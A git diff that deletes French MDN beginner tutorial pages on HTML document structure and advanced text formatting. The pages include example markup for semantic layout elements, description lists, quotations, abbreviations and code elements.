Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première.

- -

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}

- - - -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/document_and_website_structure/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/document_and_website_structure/index.html" deleted file mode 100644 index e6111a4c4f..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/document_and_website_structure/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Structure de Site Web et de document -slug: Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure -tags: - - Codage - - Disposition - - Débutant - - Guide - - HTML - - Page - - Site - - blocs - - sémantique -translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML","Apprendre/HTML/Introduction_à_HTML")}}
- 
- -

De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant.

- - - - - - - - - - - - -
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML. Comment fonctionnent les liens hyperlinks , comme décrit dans Création d'hyperliens.
Objectif : -

Apprendre comment structurer votre document en utilisant des balises sémantiques et comment élaborer la structure d'un site web simple.

-
- -

Principales parties d'un document

- -

Les pages web peuvent sembler assez différentes les unes des autres, mais elles ont toutes tendance à partager des composantes standard similaires, sauf si la page affiche une vidéo ou un jeu en plein écran, relève d'une sorte de projet artistique ou... est simplement mal structurée :

- -
-
En‑tête (header)
-
Généralement une grande bande placée en travers au haut de la page avec un titre ou un logo. C'est là où les principales informations du site restent d'une page à l'autre.
-
Barre de navigation
-
Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés.
-
Contenu principal
-
Une grande zone au centre contenant la majeure partie du contenu unique de la dite page web, par ex. la vidéo à regarder, ou le corps de l'article à parcourir, ou la carte à lire, ou les dernières nouvelles etc. C'est la partie du site  variable de page en page.
-
Barre latérale
-
-

Quelques informations autour du sujet, liens, citations, annonces, etc. Habituellement c'est contextuel au contenu principal (par exemple sur une page d'informations, la barre latérale peut contenir la biographie de l'auteur, ou des liens vers des articles connexes) mais il y a aussi des cas où vous trouverez des éléments récurrents comme un système de navigation secondaire.

-
-
Pied de page
-
-

Une bande au bas de la page qui contient généralement, en petits caractères, des avis de droit d'auteur ou des coordonnées de contact. C'est un endroit pour mettre de l'information commune (comme l'en-tête), mais il s'agit dans ce cas d'informations non‑critiques, voire secondaires par rapport au site Web lui-même. Le pied de page est aussi parfois utilisé à des fins de {{Glossary("SEO")}}, en fournissant des liens pour un accès rapide à des contenus prisés.

- Un « site web typique » pourrait ressembler à quelque chose comme ceci :
-
- -

un exemple simple de structure de site Web comportant un titre principal, un menu de navigation, un contenu principal, une barre latérale et un pied de page.

- -

HTML pour structurer un contenu

- -

L'exemple simple affiché ci-dessus n'est pas très beau, mais il est parfaitement correct pour illustrer un exemple typique de mise en page d'un site web. Certains sites Web ont plus de colonnes, d'autres sont beaucoup plus complexes, mais vous voyez l'idée. Avec le bon CSS, vous pouvez utiliser à peu près n'importe quel élément pour envelopper les différentes sections et obtenir l'apparence que vous voulez, mais comme nous l'avons déjà dit, nous devons respecter la sémantique et utiliser le bon élément pour le bon travail.

- -

C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ?

- -
-

Note : Les daltoniens représentent environ 8% de la population mondiale ou, en d'autres termes, environ 1 homme sur 12 et 1 femme sur 200 sont daltoniens. Les personnes aveugles et malvoyantes représentent environ 4 à 5 % de la population mondiale (en 2012, il y avait 285 millions de personnes aveugles et malvoyantes dans le monde, alors que la population totale était d'environ 7 milliards d'habitants).

-
- -

Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences.

- -

Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple :

- - - -

Apprentissage actif : exploration du code de l'exemple

- -

Notre exemple affiché plus haut est représenté par le code ci‑après (vous le trouverez également dans le dépôt Github). Nous aimerions que vous regardiez cet exemple et que vous recherchiez dans le listing suivant les sections constituant les diverses parties du visuel.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-
-    <title>Intitulé de ma page</title>
-    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
-    <link rel="stylesheet" href="style.css">
-
-    <!-- Les trois lignes ci‑dessous sont un correctif pour que la sémantique
-         HTML5 fonctionne correctement avec les anciennes versions de
-         Internet Explorer-->
-    <!--[if lt IE 9]>
-      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-    <![endif]-->
-  </head>
-
-  <body>
-    <!-- Voici notre en‑tête principale utilisée dans toutes les pages
-         de notre site web -->
-    <header>
-      <h1>En-tête</h1>
-    </header>
-
-    <nav>
-      <ul>
-        <li><a href="#">Accueil</a></li>
-        <li><a href="#">L'équipe</a></li>
-        <li><a href="#">Projets</a></li>
-        <li><a href="#">Contact</a></li>
-      </ul>
-
-       <!-- Un formulaire de recherche est une autre façon de naviguer de
-            façon non‑linéaire dans un site. -->
-
-       <form>
-         <input type="search" name="q" placeholder="Rechercher">
-         <input type="submit" value="Lancer !">
-       </form>
-     </nav>
-
-    <!-- Ici nous mettons le contenu de la page -->
-    <main>
-
-      <!-- Il contient un article -->
-      <article>
-        <h2>En-tête d'article</h2>
-        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
-
-        <h3>Sous‑section</h3>
-        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
-        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
-
-        <h3>Autre sous‑section</h3>
-        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
-        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
-      </article>
-
-      <!-- Le contenu « à côté » peut aussi être intégré dans le contenu
-           principal -->
-      <aside>
-        <h2>En relation</h2>
-        <ul>
-          <li><a href="#">Combien j'aime être près des rivages</a></li>
-          <li><a href="#">Combien j'aime être près de la mer</a></li>
-          <li><a href="#">Bien que dans le nord de l'Angleterre</a></li>
-          <li><a href="#">Il n'arrête jamais de pleuvoir</a></li>
-          <li><a href="#">Eh bien…</a></li>
-        </ul>
-      </aside>
-
-    </main>
-
-    <!-- Et voici notre pied de page utilisé sur toutes les pages du site -->
-    <footer>
-      <p>©Copyright 2050 par personne. Tous droits reversés.</p>
-    </footer>
-
-  </body>
-</html>
- -

Prenez le temps voulu pour regarder ce code et le comprendre — les commentaires inclus doivent également vous aider à comprendre. Il n'y a pas grand-chose d'autre à faire dans cet article, car la clé pour comprendre une mise en page de document est d'écrire une bonne structure HTML, puis de la mettre en page avec les CSS. Nous attendrons donc que vous ayez commencé à étudier la mise en page avec les CSS.

- -

Plus de détails à propos des éléments de mise en page

- -

La compréhension détaillée de la signification globale de tous les éléments de la mise en page HTML est importante — vous l'acquerrez au fur et à mesure avec l'expérience dans le développement web. Vous pouvez trouver beaucoup de détails en parcourant la référence aux éléments HTML. Pour l'instant, il convient de bien comprendre les principales définitions :

- - - -

Enveloppes non‑sémantiques

- -

Parfois, vous êtes dans la situation où vous ne trouvez pas  l'élément sémantique idéal pour regrouper certaines entités ou envelopper certains contenus. D'autres fois, vous souhaitez simplement regrouper un ensemble d'éléments pour en faire une entité unique pour des {{glossary("CSS")}} ou des {{glossary("JavaScript")}}. Pour de tels cas, HTML met à votre disposition les éléments {{HTMLElement("div")}} et {{HTMLElement("span")}}}. Utilisez‑les de préférence avec un attribut {{htmlattrxref('class')}} approprié, en quelque sorte étiquetez‑les pour pouvoir les cibler plus facilement.

- -

{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple :

- -
<p>Le Roi retourna ivre à sa chambre à une heure, la bière ne l'aidant en rien
-alors qu'il titubait en travers de la porte <span class="editor-note">
-[Note du rédacteur : Pour cette scène, la lumière doit être faible].</span></p>
- -

Dans ce cas, la note du rédacteur est simplement supposée fournir une indication supplémentaire pour le metteur en scène de la pièce ; elle n'est pas censée avoir une signification sémantique supplémentaire. Pour les utilisateurs malvoyants, les CSS seraient peut-être utilisés pour distancer légèrement la note du texte principal.

- -

{{HTMLElement("div")}} est un élément de niveau bloc non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur bloc de sémantique à utiliser, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple, imaginez un widget de panier d'achat que vous pourriez choisir d'afficher à n'importe quel moment sur un site de commerce électronique :

- -
<div class="panier">
-  <h2>Panier d'achat</h2>
-  <ul>
-    <li>
-      <p><a href=""><b>Boucles d'oreilles en argent</b></a>: €99,95.</p>
-      <img src="../products/3333-0985/thumb.png" alt="Boucles d'oreilles en argent">
-    </li>
-    <li>
-      ...
-    </li>
-  </ul>
-  <p>Total des achats : €237,89</p>
-</div>
- -

Ce n'est pas vraiment un élément <aside> et il n'a pas forcément de relation avec l'essentiel du contenu de la page (vous le souhaitez visible de partout). Il ne justifie pas particulièrement l'utilisation d'une <section>, car il ne fait pas partie du contenu principal de la page. Donc un <div> est bien dans ce cas. Nous avons incorporé un panneau indicateur que les lecteurs d'écran puissent le signaler.

- -
-

Avertissement : les div sont si pratiques à utiliser qu'on est tenté de les utiliser à l'excès. Comme ils ne portent aucune valeur sémantique, ils encombrent votre code HTML. Prenez soin de ne les utiliser que s'il n'y a pas de meilleure solution sémantique et essayez de réduire leur utilisation au minimum sinon vous aurez du mal à mettre à jour et à maintenir vos documents.

-
- -

Sauts de ligne et traits horizontaux

- -

Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître :

- -

<br> crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple :

- -
<p>Il y avait une fois une fille nommée Nell<br>
-Qui aimait écrire du HTML<br>
-Mais ses structures et sémantiques affligeantes<br>
-rendaient de ses marquages la lecture inélégante.</p>
- -

Sans éléments <br>, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, HTML ignore la plupart des blancs) ; avec des <br> dans le code, voici le rendu de ce qui précède :

- -

Il y avait une fois une fille nommée Nell
- Qui aimait écrire du HTML
- Mais ses structures et sémantiques affligeantes
- rendaient de ses marquages la lecture inélégante.

- -

Les éléments <hr> créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple :

- -
<p>Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.</p>
-<hr>
-<p>Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.</p>
- -

sera rendu ainsi :

- -

Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.

- -
-

Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.

- -

Planification d'un site web simple

- -

Une fois planifié le contenu d'une simple page Web, l'étape logique suivante est d'essayer de déterminer le contenu que vous voulez mettre sur le site Web en entier, les pages dont vous avez besoin et la façon dont elles doivent être organisées et les liens les unes vers les autres pour la meilleure expérience utilisateur possible. C'est ce qu'on appelle {{glossary("Information architecture")}} (architecture de l'information). Dans un grand site web complexe, beaucoup de planification peut entrer dans ce processus, mais pour un simple site Web de quelques pages, cela peut être assez simple et amusant !

- -
    -
  1. Gardez à l'esprit que vous aurez quelques éléments communs à la plupart des pages (sinon à toutes) — comme le menu de navigation et le contenu du pied de page. Si votre site est destiné à une entreprise, par exemple, c'est une bonne idée d'avoir les informations de contact dans le pied de page de chaque page. Notez ce que vous voulez avoir en commun dans chaque page. les caractéristiques communes du site de voyage pour aller sur chaque page : titre et logo, contact, copyright, termes et conditions, choix de la langue, politique d'accessibilité.
    2. -
  2. Ensuite, dessinez une esquisse de ce à quoi vous voudriez que la structure de chaque page ressemble (elle pourrait ressembler à notre simple site Web ci-dessus.) Notez ce que chaque bloc va être. Un diagramme simple d'une structure d'exemple de site, avec un en-tête, une zone de contenu principal, deux barres latérales optionnelles et un pied de page.
    3. -
  3. Maintenant, faites un remue-méninges sur tous les autres contenus (qui ne sont pas communs à toutes les pages) que vous voulez avoir sur votre site Web - écrivez une grande liste. Une longue liste de toutes les fonctionnalités que nous pourrions mettre sur notre site de voyage, de la recherche, aux offres spéciales et aux informations spécifiques à chaque pays.
    4. -
  4. Ensuite, essayez de trier tous ces éléments de contenu par groupes, pour vous donner une idée des parties qui pourraient aller ensemble sur diverses pages. C'est très similaire à une technique appelée {{glossary("Card sorting","Tri de cartes")}}.Les articles qui devraient apparaître sur un site de vacances triés en 5 catégories : Recherche, spéciaux, informations spécifiques au pays, résultats de la recherche et choses à acheter.
    5. -
  5. Essayez maintenant d'esquisser un plan de site grossier — entourez d'un cercle chaque page de votre site et tracez des flèches pour montrer les flux de travail typiques entre pages. La page d'accueil sera probablement au centre et en lien vers la plupart sinon la totalité des autres ; la plupart des pages d'un petit site devraient être disponibles à partir de la navigation principale, bien qu'il y ait des exceptions. Vous voudrez peut-être aussi ajouter des notes sur la présentation des choses. Une carte du site montrant la page d'accueil, la page du pays, les résultats de recherche, la page spéciale, la page de paiement et la page d'achat.
    6. -
- -

Apprentissage actif : créez la cartographie de votre propre site

- -

Essayez d'effectuer l'exercice ci-dessus pour un site web de votre propre création. Sur quel sujet aimeriez-vous faire un site ?

- -
-

Note : Enregistrez votre travail quelque part ; vous pourriez en avoir besoin plus tard.

-
- -

Résumé

- -

Vous devriez avoir maintenant une meilleure idée de la façon de structurer une page web ou un site web. Dans le dernier article de ce module, nous étudierons comment déboguer le HTML.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_à_HTML")}}

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/formatage-avance-texte/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/formatage-avance-texte/index.html" deleted file mode 100644 index 6e9ebf6f83..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/formatage-avance-texte/index.html" +++ /dev/null @@ -1,682 +0,0 @@ ---- -title: Formatage avancé du texte -slug: Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte -tags: - - Apprendre - - Citation - - Codage - - Débutant - - Guide - - HTML - - Texte - - abréviation - - listes descriptives - - sémantique -translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article Les concepts fondamentaux du HTML liés au texte. Les éléments abordés ici sont moins connus mais tout aussi utiles (et ce n'est aucunement une liste complète). Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.

- - - - - - - - - - - - -
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML.
Objectifs :Apprendre comment utiliser des éléments HTML moins connus pour baliser des fonctions sémantiques avancées.
- -

Listes descriptives

- -

Dans les bases du texte en HTML, nous avons exposé comment on pouvait baliser des listes simples en HTML, mais sans mentionner le troisième type de liste que vous rencontrerez à l'occasion — les listes descriptives. L'objectif de ces listes est de marquer une série d'éléments et leurs descriptions associées, comme termes et définition, ou bien questions et réponse. Voici l'exemple d'un ensemble de termes et leur définitions :

- -
soliloque
-Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).
-monologue
-Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.
-aparté
-Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
- -

Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (description term) et chaque description d'un élément {{htmlelement("dd")}} (description definition). Terminons en balisant l'exemple ci‑dessus :

- -
<dl>
-  <dt>soliloque</dt>
-  <dd>Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).</dd>
-  <dt>monologue</dt>
-  <dd>Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.</dd>
-  <dt>aparté</dt>
-  <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd>
-</dl>
- -

Les styles par défaut du navigateur vont afficher les listes de définition avec des descriptions indentées par rapport aux termes. les styles de MDN suivent de très près cette convention, mais soulignent davantage les définitions en les mettant en gras.

- -
-
soliloque
-
Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).
-
monologue
-
Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.
-
aparté
-
Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
-
- -

Notez qu'il est autorisé d'avoir un terme seul avec de multiples descriptions, par exemple :

- -
-
aparté
-
Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
-
En écriture, une partie de contenu relative au sujet en cours, mais qui, ne s'inscrivant pas dans le flux principal du contenu, est donc présentée à part (souvent dans un encadré sur le côté).
-
- -

Apprentissage interactif : balisez une série de définitions

- -

Il est temps de se faire la main sur les listes de définitions ; ajoutez les élements au texte brut dans le champ Code modifiable pour que faire apparaître une liste de définitions dans la Zone de rendu. Vous pouvez essayer en utilisant vos propes termes et définitions si vous le souhaitez.

- -

Si vous faites une erreur, vous pouvez toujours réinitialiser grace au bouton Réinitialiser. Si vous êtes vraiment bloqué, cliquez sur Voir la solution.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

- -

Citations

- -

Le HTML possède également des fonctionnalités pour marquer les citations. Le choix de l'élément à utiliser dépend du type de citation : en ligne ou par bloc.

- -

Blocs de citation

- -

Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément <blockquote> :

- -
<p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc
-de citation</em>) indique que le bloc de texte inclus est une citation étendue.</p>
- -

Pour le changer en bloc de citation, on ferait simplement ceci :

- -
<blockquote cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/blockquote">
-  <p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>)
-     indique que le bloc de texte inclus est une citation étendue.</p>
-</blockquote>
- -

Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé :

- -
-

L'Élément HTML <blockquote> (ou Élément HTML bloc de citation) indique que le bloc de texte inclus est une citation étendue.

-
- -

Citations en ligne

- -

Les citations en ligne fonctionnent exactement de la même manière, sauf que l'on utilise l'élément {{htmlelement("q")}}. Par exemple, le balisage suivant contient une citation de la page MDN <q> :

- -
<p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">prévu
-pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p>
- -

Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci :

- -

L'élément citation — <q> — est prévu pour de courtes citations ne nécessitant pas un nouvel alinéa.

- -

Citations

- -

Le contenu de l'attribut {{htmlattrxref("cite","blockquote")}} semble utile, malheureusement les navigateurs, lecteurs d'écran, etc. n'en font pas grand chose. Il n'y a pas possibilité de faire afficher différemment au navigateur le contenu d'un  cite sans utiliser votre propre JavaScript ou style CSS. Si vous souhaitez rendre disponible la source de la citation sur votre page, la meilleure façon de le faire est d'inclure l'élément {{htmlelement("cite")}} à coté de l'élément citation. Cet élément est vraiment destiné à contenir le nom de la source de la citation — c'est-à-dire le nom du livre ou de la personne auteur de la citation — mais il n'y a aucune raison pour laquelle vous n'avez pas pu lier le texte à l'intérieur de <cite> à la source de la citation d'une manière ou d'une autre :

- -
<p>Selon la <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/blockquote">
-<cite>page blockquote du MDN</cite></a>:
-</p>
-
-<p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>)
-   indique que le bloc de texte inclus est une citation étendue.</p>
-
-<p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">prévu
-   pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p>
- — <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">
-<cite>page q du MDN</cite></a>.</p>
- -

Les citations sont affichées avec un police italique par défaut. Vous pouvez voir l'affichage de ce code dans l'exemple quotations.html.

- - - -

Apprentissage actif : Qui a dit quoi ?

- -

Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que :

- -
    -
  1. vous marquiez le paragraphe central comme étant une citation comprenant un attribut cite.
    2. -
  2. une partie du troisième paragraphe soit balisée en tant que citation en ligne, comprenant aussi un attribut cite.
    3. -
  3. vous incorporiez un élément <cite> pour chaque citation
    4. -
- -

L'origine des citations dont vous aurez besoin se trouvent aux pages :

- - - -

Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant le bouton de même nom. Si vous êtes vraiment bloqué, pressez le bouton Voir la solution pour obtenir la réponse.

- - - -

{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}

- -

Abréviations

- -

Un autre élément assez commun rencontré en se promenant dans le Web est l'élément {{htmlelement("abbr")}}}}. Il s'utilise pour entourer une abréviation ou un acronyme et donner le développement complet du terme (inclus dans un attribut {{htmlattrxref("title")}}}. Voyons quelques exemples :

- -
<p>Nous utilisons l'<abbr title="Hypertext Markup Language">HTML</abbr> pour structurer nos documents web.</p>
-
-<p>Je pense que le <abbr title="Révérend">R.</abbr> Green l'a fait dans la cuisine avec une tronçonneuse.</p>
- - - -

Leur affichage correspond aux deux phrases suivantes (le développement de l'abréviation apparaît dans une infobulle quand le pointeur de souris passe sur le terme) :

- -

Nous utilisons l'HTML pour structurer nos documents web.

- -

Je pense que le R. Green l'a fait dans la cuisine avec une tronçonneuse.

- -
-

Note : Il existe un autre élément, {{htmlelement("acronym")}}, faisant fondamentalement la même chose que <abbr>, destiné spécifiquement aux acronymes plutôt qu'aux abréviations. Il est cependant tombé en désuétude — il n'était pas aussi bien pris en charge dans les navigateurs que <abbr> et sa fonction était si ressemblante qu'on a considéré inutile d'avoir les deux. Il suffit d'utiliser <abbr> à la place.

-
- -

Apprentissage actif : marquer une abréviation

- -

Pour cet apprentissage actif, nous aimerions que vous balisiez simplement une abréviation. Vous pouvez utiliser notre élément ci-après ou le remplacer par un de votre cru.

- - - -
{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}
- -

Balisage des détails de contact

- -

HTML possède l'élément {{htmlelement("address")}} pour baliser des détails de contact. Enveloppez simplement vos coordonnées, par exemple :

- -
<address>
-  <p>Chris Mills, Manchester, The Grim North, UK</p>
-</address>
- -

Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas n'importe quelle adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit :

- -
<address>
-  <p>Page écrite par <a href="../authors/chris-mills/">Chris Mills</a>.</p>
-</address>
- -

Exposants et indices

- -

Vous devrez parfois utiliser exposants et indices pour marquer des éléments comme dates, formules chimiques et équations mathématiques de façon à ce qu'ils aient une bonne signification. On effectue ce travail à l'aide des éléments {{htmlelement("sup")}} et {{htmlelement("sub")}}. Par exemple :

- -
<p>Ma date de naissance est le 1<sup>er</sup> mai 2001.</p>
-<p>La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
-<p>Si x<sup>2</sup> égale 9, x doit valoir 3 ou -3.</p>
- -

Les sorties produites par ces lignes de code se présentent comme suit :

- -

Ma date de naissance est le 1er mai 2001.

- -

La formule chimique de la caféine est C8H10N4O2.

- -

Si x2 égale 9, x doit valoir 3 ou -3.

- -

Représentation du code informatique

- -

HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique :

- - - -

Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple other-semantics.html) :

- -
<pre><code>var para = document.querySelector('p');
-
-para.onclick = function() {
-  alert('Owww, arrête de me toucher !');
-}</code></pre>
-
-<p>N'utilisez pas d'éléments de présentation comme <code>&lt;font&gt;</code> et <code>&lt;center&gt;</code>.</p>
-
-<p>Dans l'exemple JavaScript ci‑dessus, <var>para</var> représente un élément paragraphe.</p>
-
-
-<p>Sélectionnez la totalité du texte avec <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
